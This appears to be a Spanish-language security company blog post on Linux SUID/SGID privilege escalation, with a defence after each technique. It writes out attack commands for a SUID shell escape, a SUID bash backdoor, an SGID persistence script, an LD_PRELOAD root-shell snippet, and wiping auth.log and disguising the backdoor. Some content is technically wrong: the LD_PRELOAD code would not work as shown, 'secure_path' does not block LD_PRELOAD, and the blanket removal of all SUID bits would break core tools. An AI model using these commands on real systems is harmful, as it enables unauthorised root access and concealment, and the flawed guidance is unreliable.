En entornos Linux, los atacantes buscan constantemente vulnerabilidades para escalar privilegios y evadir defensas. Una de las técnicas más utilizadas es la explotación de permisos Setuid (SUID) y Setgid (SGID), que permiten ejecutar programas con los privilegios de otro usuario o grupo.

Si estos permisos no están bien gestionados, un atacante puede tomar control de un sistema y evadir soluciones de seguridad como EDR, SELinux o monitoreo de logs. En este artículo, explicaremos cómo funcionan, cómo los ciberdelincuentes los explotan y qué medidas de seguridad implementar para prevenir ataques.

¿Qué son Setuid y Setgid?

📌 Setuid (SUID): Permite que un archivo ejecutable se ejecute con los permisos de su propietario en lugar del usuario que lo ejecuta.
📌 Setgid (SGID): Similar a Setuid, pero aplicado al grupo del archivo. En directorios, hace que los archivos creados dentro hereden el grupo del directorio.

Para identificar archivos con estos permisos en un sistema, se usa el siguiente comando:

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Si un atacante encuentra archivos SUID o SGID mal configurados, puede explotarlos para escalar privilegios y evadir defensas.


🛠️ Técnicas de Explotación de Setuid y Setgid en Ataques

Los atacantes combinan SUID y SGID con diversas técnicas para lograr escalación de privilegios y ocultarse en el sistema.

1️⃣ Abuso de Binarios con SUID

Si un binario con SUID permite ejecutar comandos arbitrarios, el atacante puede obtener acceso root:

find . -exec /bin/sh -p \;

Si find tiene SUID, esto dará una shell con privilegios elevados.

🔹 Defensa: Deshabilitar SUID en archivos innecesarios:

chmod u-s /bin/ping

2️⃣ Creación de Backdoors con SUID

Un atacante puede subir un binario malicioso con SUID activado para persistencia:

cp /bin/bash /tmp/bash_suid chmod u+s /tmp/bash_suid

Esto permite ejecutar /tmp/bash_suid con privilegios elevados en cualquier momento.

🔹 Defensa: Monitorear cambios de permisos con AuditD:

auditctl -w /usr/bin -p wa -k suid_changes

3️⃣ Uso de SGID para Persistencia y Evasión

Si un directorio tiene SGID activado, los archivos creados dentro heredarán el grupo propietario, lo que permite a los atacantes mantener acceso privilegiado.

Ejemplo de persistencia con SGID:

chmod g+s /var/shared echo "cp /bin/bash /tmp/bash_root; chmod u+s /tmp/bash_root" > /var/shared/script.sh chmod +x /var/shared/script.sh

Cuando un usuario con permisos elevados ejecute script.sh, el atacante obtendrá una shell con privilegios.

🔹 Defensa: Restringir permisos en directorios sensibles y eliminar SGID innecesario:

chmod g-s /var/shared

🔐 Protege tu infraestructura contra ataques avanzados. En Ti Rescue te ayudamos a asegurar tu sistema Linux. Contáctanos hoy. 🚀

🚀 ¡Contáctanos ahora!

4️⃣ Inyección de Código con LD_PRELOAD
Si un binario SUID no filtra LD_PRELOAD, un atacante puede inyectar código malicioso:

echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); }' > exploit.c
gcc -o exploit exploit.c
LD_PRELOAD=./exploit /bin/suid_binary

Esto fuerza al binario SUID a ejecutar una shell con privilegios root.

🔹 Defensa: Restringir variables de entorno para binarios SUID con:

 

echo "Defaults secure_path" >> /etc/sudoers

5️⃣ Evasión de Logs y Ofuscación de Binarios
Los atacantes ocultan su actividad borrando logs o renombrando archivos maliciosos:

echo "" > /var/log/auth.log
mv /tmp/bash_suid /usr/local/bin/update-daemon

Esto dificulta la detección de actividad maliciosa.

🔹 Defensa: Habilitar logs inmutables para evitar manipulación:

chattr +a /var/log/auth.log

🔥 Medidas de Seguridad para Prevenir Ataques con SUID y SGID
Para evitar la explotación de estos permisos en entornos Linux, se recomienda:

✔ Eliminar permisos SUID y SGID innecesarios:


find / -perm -4000 -o -perm -2000 -type f -exec chmod u-s,g-s {} \;

✔ Usar herramientas de monitoreo como AuditD y SELinux.

✔ Aplicar el principio de privilegio mínimo: Evitar que usuarios no administradores tengan acceso a binarios sensibles.

✔ Revisar periódicamente archivos con permisos elevados:

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
✔ Habilitar autenticación multifactor y segmentación de red para minimizar impacto en caso de explotación.

📌 Conclusión
Setuid y Setgid son permisos útiles en sistemas Linux, pero si no se gestionan correctamente, pueden convertirse en puntos de entrada para ataques de escalación de privilegios y evasión de defensas.

Una auditoría regular, la eliminación de permisos innecesarios y el uso de herramientas de monitoreo pueden ayudar a mitigar estos riesgos y mantener la seguridad del sistema.

¿Quieres proteger tu infraestructura contra ataques avanzados? En Ti Rescue te ayudamos a implementar estrategias de seguridad efectivas. Contáctanos. 🔐🚀

¿Quieres proteger tu infraestructura contra ataques avanzados? En Ti Rescue te ayudamos a implementar estrategias de seguridad efectivas. Contáctanos. 🔐🚀

🚀 ¡Contáctanos ahora!

Suscríbete a Nuestro Blog: Mantente actualizado con las últimas noticias y consejos en ciberseguridad. Suscríbete ahora.